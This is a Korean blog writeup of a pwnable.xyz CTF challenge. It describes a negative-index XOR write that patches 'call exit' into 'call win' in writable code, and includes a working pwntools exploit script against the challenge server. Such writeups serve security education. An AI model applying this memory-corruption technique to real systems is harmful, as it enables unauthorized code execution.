How to Exploit
while문이 실행되고 v4, v5, v6를 입력받는다. v4, v5, v6가 하나라도 0이거나 v6이 9를 넘으면 while문을 빠져나온다. 그렇지 않으면 result[v6]=v5^v4라는 실행을 하고 result[v6]를 출력한다.
v6의 값이 음수가 될 수 있다는 걸 이용해 메모리에 접근해야 할 것 같다. 하지만 pie도 켜져 있고 FULL RELRO라서 overwrite하기 힘들어보인다.
cat /proc/pid/maps
: 실행코드를 보니 write가 가능하다. 직접 Instruction을 써주면 될 것 같다.
call exit
명령어를 call win
으로 바꿔주자.
Design the Payload
- Make the Instruction
그냥call 0xa21
을 변환시키니 엉뚱하게 나온다.
pwntool에 있는 ELF 파일에서 어셈블리어를 만들어주는 함수를 사용하자.
call exit
와 result의 거리를 계산하자.
(0xac8-0x202200)/8=-262887
Exploit Code
from pwn import *
#p=process('./challenge')
p=remote('svc.pwnable.xyz', 30029)
#e=ELF('./challenge')
#exit_add = 0xac8
#e.asm(exit_add, "call 0xa21")
#ins = e.read(exit_add, 5)
#print(int(ins, 16))
#\xe8\x54\xff\xff\xff : call win
#0xffffff54e8^1 = 1099511583977
p.sendlineafter(' ', '1 1099511583977 -262887')
p.sendlineafter(' ', 'a')
p.interactive()
Capture The Flag
'Writeup [pwn] > pwnable.xyz' 카테고리의 다른 글
Welcome (0) | 2020.03.07 |
---|---|
Two Targets - 2 (0) | 2020.03.07 |
Two Targets - 1 (0) | 2020.03.07 |
TLSv00 (0) | 2020.03.07 |
Sub (0) | 2020.03.07 |